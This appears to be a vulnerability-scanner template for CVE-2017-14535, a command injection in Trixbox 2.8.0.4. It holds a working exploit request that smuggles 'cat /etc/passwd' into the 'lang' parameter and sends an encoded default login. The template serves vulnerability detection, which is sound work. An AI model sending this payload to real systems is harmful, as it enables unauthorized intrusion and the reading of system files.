id: CVE-2017-14535

info:
  name: Trixbox - 2.8.0.4 OS Command Injection Vulnerability
  author: pikpikcu
  severity: high
  reference:
    - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
    - https://www.exploit-db.com/exploits/49913
  tags: cve,cve2017,trixbox,rce,injection
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.80
    cve-id: CVE-2017-14535
    cwe-id: CWE-78
  description: "trixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php."

requests:
  - raw:
      - |
        GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Accept-Language: de,en-US;q=0.7,en;q=0.3
        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
        Connection: close
        Cache-Control: max-age=0

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200